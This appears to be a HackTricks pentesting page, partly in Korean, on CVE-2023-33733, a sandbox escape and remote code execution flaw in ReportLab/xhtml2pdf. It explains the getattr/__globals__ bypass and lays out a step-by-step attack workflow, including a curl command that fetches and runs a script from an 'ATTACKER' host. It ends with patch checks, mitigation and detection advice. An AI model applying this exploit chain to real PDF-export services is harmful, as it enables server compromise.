ReportLab/xhtml2pdf [[[โ€ฆ]]] ํ‘œํ˜„์‹ ํ‰๊ฐ€ RCE (CVE-2023-33733)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” ReportLab์˜ rl_safe_eval์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์‹ค์šฉ์ ์ธ ์ƒŒ๋“œ๋ฐ•์Šค ํƒˆ์ถœ ๋ฐ RCE ์ˆ˜๋‹จ์„ ๋ฌธ์„œํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ xhtml2pdf ๋ฐ ๊ธฐํƒ€ PDF ์ƒ์„ฑ ํŒŒ์ดํ”„๋ผ์ธ์—์„œ ์‚ฌ์šฉ์ž ์ œ์–ด HTML์„ PDF๋กœ ๋ Œ๋”๋งํ•  ๋•Œ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2023-33733์€ ReportLab 3.6.12๊นŒ์ง€(ํฌํ•จ) ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ํŠน์ • ์†์„ฑ ์ปจํ…์ŠคํŠธ(์˜ˆ: color)์—์„œ [[[ โ€ฆ ]]]๋กœ ๊ฐ์‹ผ ๊ฐ’์€ rl_safe_eval์— ์˜ํ•ด ์„œ๋ฒ„ ์ธก์—์„œ ํ‰๊ฐ€๋ฉ๋‹ˆ๋‹ค. ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋œ builtin(pw)์—์„œ ์‹œ์ž‘ํ•ด ํ•ด๋‹น Python ํ•จ์ˆ˜์˜ globals๋กœ ํ”ผ๋ฒ—ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” os ๋ชจ๋“ˆ์— ์ ‘๊ทผํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Key points

  • Trigger: inject [[[ โ€ฆ ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals.
  • Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string โ€œglobalsโ€ while avoiding blocked dunder filtering.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stability: Return a valid value for the attribute after execution (for color, use and โ€˜redโ€™).

When to test

  • Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
  • exiftool profile.pdf | egrep โ€˜Producer|Title|Creatorโ€™ โ†’ โ€œxhtml2pdfโ€ producer
  • HTTP response for PDF often starts with a ReportLab generator comment

How the sandbox bypass works

  • rl_safe_eval removes or replaces many builtins (getattr, type, pow, โ€ฆ) and applies name filtering to deny attributes starting with __ or in a denylist.
  • However, safe functions live in a globals dictionary accessible as func.globals.
  • Use type(type(1)) to recover the real builtin type function (bypassing ReportLabโ€™s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
  • .startswith(โ€˜โ€™) โ†’ always False (bypass name startswith(โ€˜โ€™) check)
  • .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
  • .hash equals hash(str(self))
  • With this, getattr(pow, Word(โ€˜globalsโ€™)) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>').

Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and โ€˜redโ€™.

exploit

  • The list-comprehension form allows a single expression acceptable to rl_safe_eval.
  • The trailing and โ€˜redโ€™ returns a valid CSS color so the rendering doesnโ€™t break.
  • Replace the command as needed; use ping to validate execution with tcpdump.

Operational workflow

  1. Identify PDF generator
  • PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
  1. Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
  2. Verify execution with low-noise ICMP
  • Run: sudo tcpdump -ni <iface> icmp
  • Payload: โ€ฆ system('ping <your_ip>') โ€ฆ
  • Windows often sends exactly four echo requests by default.
  1. Establish a shell
  • For Windows, a reliable two-stage approach avoids quoting/encoding issues:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • For Linux targets, similar two-stage with curl/wget is possible:
  • system(โ€˜curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/sโ€™)

Notes and tips

  • Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
  • Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
  • Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.

Patch status (2024โ€“2025) and identifying backports

  • 3.6.13 (27 Apr 2023) rewrote colors.toColor to an AST-walk parser; newer 4.x releases keep this path. Forcing rl_settings.toColorCanUse to rl_safe_eval or rl_extended_literal_eval re-enables the vulnerable evaluator even on current versions.
  • Several distributions ship backported fixes while keeping version numbers such as 3.6.12-1+deb12u1; do not rely on the semantic version alone. Grep colors.py for ast.parse or inspect toColor at runtime to confirm the safe parser is in use (see quick check below).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

์™„ํ™” ๋ฐ ํƒ์ง€

  • ReportLab์„ 3.6.13 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜์„ธ์š” (CVE-2023-33733 ์ˆ˜์ •๋จ). ๋ฐฐํฌํŒ ํŒจํ‚ค์ง€์˜ ๋ณด์•ˆ ๊ถŒ๊ณ ๋„ ์ถ”์ ํ•˜์„ธ์š”.
  • ์—„๊ฒฉํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ์ •ํ™”(sanitization) ์—†์ด ์‚ฌ์šฉ์ž ์ œ์–ด HTML/๋งˆํฌ์—…์„ xhtml2pdf/ReportLab์— ์ง์ ‘ ์ „๋‹ฌํ•˜์ง€ ๋งˆ์„ธ์š”. ์ž…๋ ฅ์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ [[[โ€ฆ]]] ํ‰๊ฐ€ ๊ตฌ๋ฌธ๊ณผ ๊ณต๊ธ‰์—…์ฒด ์ „์šฉ ํƒœ๊ทธ๋ฅผ ์ œ๊ฑฐ/์ฐจ๋‹จํ•˜์„ธ์š”.
  • ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ์— ๋Œ€ํ•ด rl_safe_eval ์‚ฌ์šฉ์„ ์™„์ „ํžˆ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ๋ž˜ํ•‘ํ•˜๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•˜์„ธ์š”.
  • PDF ์ƒ์„ฑ ์ค‘์— ์˜์‹ฌ์Šค๋Ÿฌ์šด ์•„์›ƒ๋ฐ”์šด๋“œ ์—ฐ๊ฒฐ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”(์˜ˆ: ๋ฌธ์„œ ๋‚ด๋ณด๋‚ด๊ธฐ ์‹œ ์•ฑ ์„œ๋ฒ„์—์„œ ๋ฐœ์ƒํ•˜๋Š” ICMP/HTTP).

References

  • PoC ๋ฐ ๊ธฐ์ˆ  ๋ถ„์„: c53elyas/CVE-2023-33733
  • 0xdf University HTB write-up (์‹ค์ œ ๊ณต๊ฒฉ ์‚ฌ๋ก€, Windows 2๋‹จ๊ณ„ ํŽ˜์ด๋กœ๋“œ): HTB: University
  • NVD ํ•ญ๋ชฉ(์˜ํ–ฅ ๋ฒ„์ „): CVE-2023-33733
  • xhtml2pdf ๋ฌธ์„œ(๋งˆํฌ์—…/ํŽ˜์ด์ง€ ๊ฐœ๋…): xhtml2pdf docs
  • ReportLab 3.6.13 ๋ฆด๋ฆฌ์Šค ๋…ธํŠธ (toColor์˜ AST ์žฌ์ž‘์„ฑ): Whatโ€™s New in 3.6.13
  • Debian ๋ณด์•ˆ ํŠธ๋ž˜์ปค(๋งˆ์ด๋„ˆ ๋ฒ„์ „์€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์€ ์ฑ„ ๋ฐฑํฌํŠธ๋œ ์ˆ˜์ • ์‚ฌํ•ญ ํ‘œ์‹œ): Debian tracker CVE-2023-33733

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ